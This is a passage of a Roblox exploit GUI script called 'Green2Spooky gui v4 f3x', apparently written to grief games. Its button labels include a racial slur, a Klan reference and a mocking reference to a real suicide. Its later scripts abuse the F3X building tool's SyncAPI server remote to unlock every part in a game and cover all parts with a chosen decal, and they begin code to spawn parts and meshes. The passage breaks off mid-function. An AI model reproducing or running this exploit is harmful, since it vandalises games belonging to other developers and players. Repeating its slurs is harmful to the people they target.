G2L["e0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e0"]["Size"] = UDim2.new(0, 90, 0, 41);
G2L["e0"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["e0"]["Text"] = [[Juan Martha]];
G2L["e0"]["Position"] = UDim2.new(0.35833, 0, 0.37919, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["e1"] = Instance.new("LocalScript", G2L["e0"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["e2"] = Instance.new("TextButton", G2L["cb"]);
G2L["e2"]["TextWrapped"] = true;
G2L["e2"]["TextStrokeTransparency"] = 0;
G2L["e2"]["BorderSizePixel"] = 2;
G2L["e2"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["e2"]["TextSize"] = 14;
G2L["e2"]["TextScaled"] = true;
G2L["e2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e2"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e2"]["Size"] = UDim2.new(0, 90, 0, 41);
G2L["e2"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["e2"]["Text"] = [[-B]];
G2L["e2"]["Position"] = UDim2.new(0.15208, 0, 0.37919, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["e3"] = Instance.new("LocalScript", G2L["e2"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["e4"] = Instance.new("TextButton", G2L["cb"]);
G2L["e4"]["TextWrapped"] = true;
G2L["e4"]["TextStrokeTransparency"] = 0;
G2L["e4"]["BorderSizePixel"] = 2;
G2L["e4"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["e4"]["TextSize"] = 14;
G2L["e4"]["TextScaled"] = true;
G2L["e4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e4"]["Size"] = UDim2.new(0, 90, 0, 41);
G2L["e4"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["e4"]["Text"] = [[Ronnie Mcnutt X ShotGun canon <33]];
G2L["e4"]["Position"] = UDim2.new(0.15208, 0, 0.54698, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["e5"] = Instance.new("LocalScript", G2L["e4"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["e6"] = Instance.new("TextButton", G2L["cb"]);
G2L["e6"]["TextWrapped"] = true;
G2L["e6"]["TextStrokeTransparency"] = 0;
G2L["e6"]["BorderSizePixel"] = 2;
G2L["e6"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["e6"]["TextSize"] = 14;
G2L["e6"]["TextScaled"] = true;
G2L["e6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e6"]["Size"] = UDim2.new(0, 90, 0, 41);
G2L["e6"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["e6"]["Text"] = [[Blood Pop]];
G2L["e6"]["Position"] = UDim2.new(0.35833, 0, 0.54698, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["e7"] = Instance.new("LocalScript", G2L["e6"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["e8"] = Instance.new("TextButton", G2L["cb"]);
G2L["e8"]["TextWrapped"] = true;
G2L["e8"]["TextStrokeTransparency"] = 0;
G2L["e8"]["BorderSizePixel"] = 2;
G2L["e8"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["e8"]["TextSize"] = 14;
G2L["e8"]["TextScaled"] = true;
G2L["e8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e8"]["Size"] = UDim2.new(0, 90, 0, 41);
G2L["e8"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["e8"]["Text"] = [[Trololo Original]];
G2L["e8"]["Position"] = UDim2.new(0.57083, 0, 0.54698, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["e9"] = Instance.new("LocalScript", G2L["e8"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["ea"] = Instance.new("TextButton", G2L["cb"]);
G2L["ea"]["TextWrapped"] = true;
G2L["ea"]["TextStrokeTransparency"] = 0;
G2L["ea"]["BorderSizePixel"] = 2;
G2L["ea"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["ea"]["TextSize"] = 14;
G2L["ea"]["TextScaled"] = true;
G2L["ea"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ea"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ea"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ea"]["Size"] = UDim2.new(0, 90, 0, 41);
G2L["ea"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["ea"]["Text"] = [[Mario Tomato]];
G2L["ea"]["Position"] = UDim2.new(0.7875, 0, 0.54362, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["eb"] = Instance.new("LocalScript", G2L["ea"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["ec"] = Instance.new("TextButton", G2L["cb"]);
G2L["ec"]["TextWrapped"] = true;
G2L["ec"]["TextStrokeTransparency"] = 0;
G2L["ec"]["BorderSizePixel"] = 2;
G2L["ec"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["ec"]["TextSize"] = 14;
G2L["ec"]["TextScaled"] = true;
G2L["ec"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ec"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ec"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ec"]["Size"] = UDim2.new(0, 90, 0, 41);
G2L["ec"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["ec"]["Text"] = [[RupertGamingBoi]];
G2L["ec"]["Position"] = UDim2.new(0.78958, 0, 0.7047, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["ed"] = Instance.new("LocalScript", G2L["ec"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["ee"] = Instance.new("TextButton", G2L["cb"]);
G2L["ee"]["TextWrapped"] = true;
G2L["ee"]["TextStrokeTransparency"] = 0;
G2L["ee"]["BorderSizePixel"] = 2;
G2L["ee"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["ee"]["TextSize"] = 14;
G2L["ee"]["TextScaled"] = true;
G2L["ee"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ee"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ee"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ee"]["Size"] = UDim2.new(0, 90, 0, 41);
G2L["ee"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["ee"]["Text"] = [[Electro Sp00k]];
G2L["ee"]["Position"] = UDim2.new(0.57292, 0, 0.7047, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["ef"] = Instance.new("LocalScript", G2L["ee"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["f0"] = Instance.new("TextButton", G2L["cb"]);
G2L["f0"]["TextWrapped"] = true;
G2L["f0"]["TextStrokeTransparency"] = 0;
G2L["f0"]["BorderSizePixel"] = 2;
G2L["f0"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["f0"]["TextSize"] = 14;
G2L["f0"]["TextScaled"] = true;
G2L["f0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f0"]["Size"] = UDim2.new(0, 90, 0, 41);
G2L["f0"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["f0"]["Text"] = [[Ku Klax Klan Thing]];
G2L["f0"]["Position"] = UDim2.new(0.35833, 0, 0.7047, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["f1"] = Instance.new("LocalScript", G2L["f0"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["f2"] = Instance.new("TextButton", G2L["cb"]);
G2L["f2"]["TextWrapped"] = true;
G2L["f2"]["TextStrokeTransparency"] = 0;
G2L["f2"]["BorderSizePixel"] = 2;
G2L["f2"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["f2"]["TextSize"] = 14;
G2L["f2"]["TextScaled"] = true;
G2L["f2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f2"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f2"]["Size"] = UDim2.new(0, 90, 0, 41);
G2L["f2"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["f2"]["Text"] = [[Rock N Roll Mcdonalds]];
G2L["f2"]["Position"] = UDim2.new(0.15208, 0, 0.7047, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["f3"] = Instance.new("LocalScript", G2L["f2"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["f4"] = Instance.new("TextButton", G2L["cb"]);
G2L["f4"]["TextWrapped"] = true;
G2L["f4"]["TextStrokeTransparency"] = 0;
G2L["f4"]["BorderSizePixel"] = 2;
G2L["f4"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["f4"]["TextSize"] = 14;
G2L["f4"]["TextScaled"] = true;
G2L["f4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f4"]["Size"] = UDim2.new(0, 54, 0, 41);
G2L["f4"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["f4"]["Text"] = [[Bad Apple]];
G2L["f4"]["Position"] = UDim2.new(0.01875, 0, 0.02013, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["f5"] = Instance.new("LocalScript", G2L["f4"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["f6"] = Instance.new("TextButton", G2L["cb"]);
G2L["f6"]["TextWrapped"] = true;
G2L["f6"]["TextStrokeTransparency"] = 0;
G2L["f6"]["BorderSizePixel"] = 2;
G2L["f6"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["f6"]["TextSize"] = 14;
G2L["f6"]["TextScaled"] = true;
G2L["f6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f6"]["Size"] = UDim2.new(0, 54, 0, 41);
G2L["f6"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["f6"]["Text"] = [[Trololo]];
G2L["f6"]["Position"] = UDim2.new(0.01875, 0, 0.19799, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["f7"] = Instance.new("LocalScript", G2L["f6"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["f8"] = Instance.new("TextButton", G2L["cb"]);
G2L["f8"]["TextWrapped"] = true;
G2L["f8"]["TextStrokeTransparency"] = 0;
G2L["f8"]["BorderSizePixel"] = 2;
G2L["f8"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["f8"]["TextSize"] = 14;
G2L["f8"]["TextScaled"] = true;
G2L["f8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f8"]["Size"] = UDim2.new(0, 54, 0, 41);
G2L["f8"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["f8"]["Text"] = [[You Get Nothing!]];
G2L["f8"]["Position"] = UDim2.new(0.01875, 0, 0.37919, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["f9"] = Instance.new("LocalScript", G2L["f8"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["fa"] = Instance.new("TextButton", G2L["cb"]);
G2L["fa"]["TextWrapped"] = true;
G2L["fa"]["TextStrokeTransparency"] = 0;
G2L["fa"]["BorderSizePixel"] = 2;
G2L["fa"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["fa"]["TextSize"] = 14;
G2L["fa"]["TextScaled"] = true;
G2L["fa"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fa"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fa"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["fa"]["Size"] = UDim2.new(0, 54, 0, 41);
G2L["fa"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["fa"]["Text"] = [[Bangarang]];
G2L["fa"]["Position"] = UDim2.new(0.01875, 0, 0.54698, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["fb"] = Instance.new("LocalScript", G2L["fa"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["fc"] = Instance.new("TextButton", G2L["cb"]);
G2L["fc"]["TextWrapped"] = true;
G2L["fc"]["TextStrokeTransparency"] = 0;
G2L["fc"]["BorderSizePixel"] = 2;
G2L["fc"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["fc"]["TextSize"] = 14;
G2L["fc"]["TextScaled"] = true;
G2L["fc"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fc"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fc"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["fc"]["Size"] = UDim2.new(0, 54, 0, 41);
G2L["fc"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["fc"]["Text"] = [[Caramel Dance]];
G2L["fc"]["Position"] = UDim2.new(0.01875, 0, 0.7047, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["fd"] = Instance.new("LocalScript", G2L["fc"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["fe"] = Instance.new("TextButton", G2L["cb"]);
G2L["fe"]["TextWrapped"] = true;
G2L["fe"]["TextStrokeTransparency"] = 0;
G2L["fe"]["BorderSizePixel"] = 2;
G2L["fe"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["fe"]["TextSize"] = 14;
G2L["fe"]["TextScaled"] = true;
G2L["fe"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fe"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fe"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["fe"]["Size"] = UDim2.new(0, 90, 0, 26);
G2L["fe"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["fe"]["Text"] = [[I play pokemon GO everyday]];
G2L["fe"]["Position"] = UDim2.new(0.7875, 0, 0.86913, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["ff"] = Instance.new("LocalScript", G2L["fe"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["100"] = Instance.new("TextButton", G2L["cb"]);
G2L["100"]["TextWrapped"] = true;
G2L["100"]["TextStrokeTransparency"] = 0;
G2L["100"]["BorderSizePixel"] = 2;
G2L["100"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["100"]["TextSize"] = 14;
G2L["100"]["TextScaled"] = true;
G2L["100"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["100"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["100"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["100"]["Size"] = UDim2.new(0, 90, 0, 26);
G2L["100"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["100"]["Text"] = [[No Escape]];
G2L["100"]["Position"] = UDim2.new(0.57292, 0, 0.86913, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["101"] = Instance.new("LocalScript", G2L["100"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["102"] = Instance.new("TextButton", G2L["cb"]);
G2L["102"]["TextWrapped"] = true;
G2L["102"]["TextStrokeTransparency"] = 0;
G2L["102"]["BorderSizePixel"] = 2;
G2L["102"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["102"]["TextSize"] = 14;
G2L["102"]["TextScaled"] = true;
G2L["102"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["102"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["102"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["102"]["Size"] = UDim2.new(0, 90, 0, 26);
G2L["102"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["102"]["Text"] = [[Nigga Rap]];
G2L["102"]["Position"] = UDim2.new(0.35833, 0, 0.86913, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["103"] = Instance.new("LocalScript", G2L["102"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["104"] = Instance.new("TextButton", G2L["cb"]);
G2L["104"]["TextWrapped"] = true;
G2L["104"]["TextStrokeTransparency"] = 0;
G2L["104"]["BorderSizePixel"] = 2;
G2L["104"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["104"]["TextSize"] = 14;
G2L["104"]["TextScaled"] = true;
G2L["104"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["104"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["104"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["104"]["Size"] = UDim2.new(0, 90, 0, 47);
G2L["104"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["104"]["Text"] = [[Theme 2]];
G2L["104"]["Position"] = UDim2.new(0.57292, 0, 0, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["105"] = Instance.new("LocalScript", G2L["104"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton
G2L["106"] = Instance.new("TextButton", G2L["cb"]);
G2L["106"]["TextWrapped"] = true;
G2L["106"]["TextStrokeTransparency"] = 0;
G2L["106"]["BorderSizePixel"] = 2;
G2L["106"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["106"]["TextSize"] = 14;
G2L["106"]["TextScaled"] = true;
G2L["106"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["106"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["106"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["106"]["Size"] = UDim2.new(0, 54, 0, 26);
G2L["106"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["106"]["Text"] = [[YAAI]];
G2L["106"]["Position"] = UDim2.new(0.01875, 0, 0.86913, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
G2L["107"] = Instance.new("LocalScript", G2L["106"]);



-- StarterGui.ScreenGui.UIAspectRatioConstraint
G2L["108"] = Instance.new("UIAspectRatioConstraint", G2L["1"]);
G2L["108"]["AspectRatio"] = 2.0511;


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.LocalScript
local function C_3()
	local script = G2L["3"];
	local UserInputService = game:GetService("UserInputService")

	local gui = script.Parent

	local dragging = false
	local dragStart = nil    
	local startPos = nil      


	gui.InputBegan:Connect(function(input, gameProcessed)
		if gameProcessed then return end  

		if input.UserInputType == Enum.UserInputType.MouseButton1 
			or input.UserInputType == Enum.UserInputType.Touch then

			dragging = true
			dragStart = input.Position
			startPos = gui.Position


			local connection
			connection = input.Changed:Connect(function()
				if input.UserInputState == Enum.UserInputState.End then
					dragging = false
					connection:Disconnect()
				end
			end)
		end
	end)


	UserInputService.InputChanged:Connect(function(input)
		if not dragging then return end

		if input.UserInputType == Enum.UserInputType.MouseMovement
			or input.UserInputType == Enum.UserInputType.Touch then

			local delta = input.Position - dragStart

			gui.Position = UDim2.new(
				startPos.X.Scale,
				startPos.X.Offset + delta.X,
				startPos.Y.Scale,
				startPos.Y.Offset + delta.Y
			)
		end
	end)
end;
task.spawn(C_3);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.home.ImageLabel.LocalScript
local function C_6()
	local script = G2L["6"];
	local Players = game:GetService("Players")
	local player = Players.LocalPlayer
	local imageLabel = script.Parent

	local function setProfileImage()
		local userId = player.UserId
		local thumbType = Enum.ThumbnailType.HeadShot
		local thumbSize = Enum.ThumbnailSize.Size420x420

		local content, isReady = Players:GetUserThumbnailAsync(userId, thumbType, thumbSize)
		imageLabel.Image = content
	end

	setProfileImage()

end;
task.spawn(C_6);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.home.TextLabel.LocalScript
local function C_8()
	local script = G2L["8"];
	local Players = game:GetService("Players")
	local player = Players.LocalPlayer
	local textLabel = script.Parent

	textLabel.Text = "Welcome " .. player.Name .. " to Green2Spooky gui v4 f3x, have fun with the scripts i guess"

end;
task.spawn(C_8);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.home.TextLabel.LocalScript
local function C_a()
	local script = G2L["a"];
	local textLabel = script.Parent
	local workspace = game:GetService("Workspace")

	local function updateText()
		local folder = workspace:FindFirstChild("HDAdminWorkspaceFolder")

		if folder and folder:IsA("Folder") then
			textLabel.Text = "HD ADMIN = online"
		else
			textLabel.Text = "HD ADMIN = offline"
		end
	end

	updateText()

	workspace.ChildAdded:Connect(updateText)

	workspace.ChildRemoved:Connect(updateText)

end;
task.spawn(C_a);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.home.TextLabel.LocalScript
local function C_c()
	local script = G2L["c"];
	local textLabel = script.Parent
	local Players = game:GetService("Players")
	local player = Players.LocalPlayer

	local function hasF3X()
		local backpack = player:FindFirstChild("Backpack")
		local character = player.Character

		if backpack and (backpack:FindFirstChild("Building Tools") or backpack:FindFirstChild("F3X")) then
			return true
		end

		if character and (character:FindFirstChild("Building Tools") or character:FindFirstChild("F3X")) then
			return true
		end

		return false
	end

	local function updateText()
		if hasF3X() then
			textLabel.Text = "F3X = online"

			textLabel.Text = "F3X = offline"
		end
	end

	while true do
		updateText()
		task.wait(0.1)
	end

end;
task.spawn(C_c);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextButton.LocalScript
local function C_10()
	local script = G2L["10"];
	local button = script.Parent
	local main = button.Parent

	local savedState = {}
	local toggled = false

	button.MouseButton1Click:Connect(function()

		if not toggled then

			savedState = {}

			for _, obj in ipairs(main:GetDescendants()) do
				if obj:IsA("Frame") and obj.Name ~= "IMPORTANT WOOHOO" then
					savedState[obj] = obj.Visible
					obj.Visible = false
				end
			end

			toggled = true

		else

			for frame, wasVisible in pairs(savedState) do
				if frame then
					frame.Visible = wasVisible
				end
			end

			toggled = false
		end

	end)

end;
task.spawn(C_10);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_13()
	local script = G2L["13"];
	local button = script.Parent
	local textbox = script.Parent.Parent:WaitForChild("nugget")
	button.MouseButton1Click:Connect(function()
		local assetId = textbox.Text
		if assetId == "" then return end
		local Players = game:GetService("Players")
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local player = Players.LocalPlayer
		local tool
		local function findSyncAPITool()
			for _, v in pairs(player:GetDescendants()) do
				if v.Name == "SyncAPI" then
					return v.Parent
				end
			end
			for _, v in pairs(ReplicatedStorage:GetDescendants()) do
				if v.Name == "SyncAPI" then
					return v.Parent
				end
			end
		end
		tool = findSyncAPITool()
		if not tool then return end
		local remote = tool.SyncAPI.ServerEndpoint
		local function invoke(args)
			remote:InvokeServer(unpack(args))
		end
		local function SetLocked(part, boolean)
			invoke({ "SetLocked", { part }, boolean })
		end
		local function SpawnDecal(part, face)
			invoke({ "CreateTextures", { { Part = part, Face = face, TextureType = "Decal" } } })
		end
		local function AddDecal(part, assetId, face)
			invoke({ "SyncTexture", { { Part = part, Face = face, TextureType = "Decal", Texture = "rbxassetid://" .. assetId } } })
		end
		local function hasBlockedMesh(part)
			for _, child in ipairs(part:GetChildren()) do
				if child:IsA("SpecialMesh") or child:IsA("Mesh") then
					if tostring(child.MeshId):find("111891702759441") then
						return true
					end
				end
			end
			return false
		end
		local function SpamDecal(assetId)
			for _, v in pairs(workspace:GetDescendants()) do
				if v:IsA("BasePart") and not hasBlockedMesh(v) then
					task.spawn(function()
						SetLocked(v, false)
						v.Transparency = 0
						for _, face in pairs(Enum.NormalId:GetEnumItems()) do
							SpawnDecal(v, face)
							AddDecal(v, assetId, face)
						end
					end)
				end
			end
		end
		SpamDecal(assetId)
	end)
end;
task.spawn(C_13);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_15()
	local script = G2L["15"];
	local button = script.Parent
	local textbox = script.Parent.Parent:WaitForChild("nugget")

	button.MouseButton1Click:Connect(function()

		local assetId = textbox.Text
		if assetId == "" then return end

		local player = game.Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()
		local tool

		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end

		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end

		if not tool then return end

		local remote = tool.SyncAPI.ServerEndpoint

		function _(args)
			remote:InvokeServer(unpack(args))
		end

		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end

		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = { part },
				[3] = stringg
			}
			_(args)
		end

		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					{
						Part = part
					}
				}
			}
			_(args)
		end

		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					{
						Part = part,
						MeshId = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end

		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					{
						Part = part,
						TextureId = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end

		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					{
						Part = part,
						Scale = size
					}
				}
			}
			_(args)
		end

		function SetLocked(part,boolean)
			local args = {
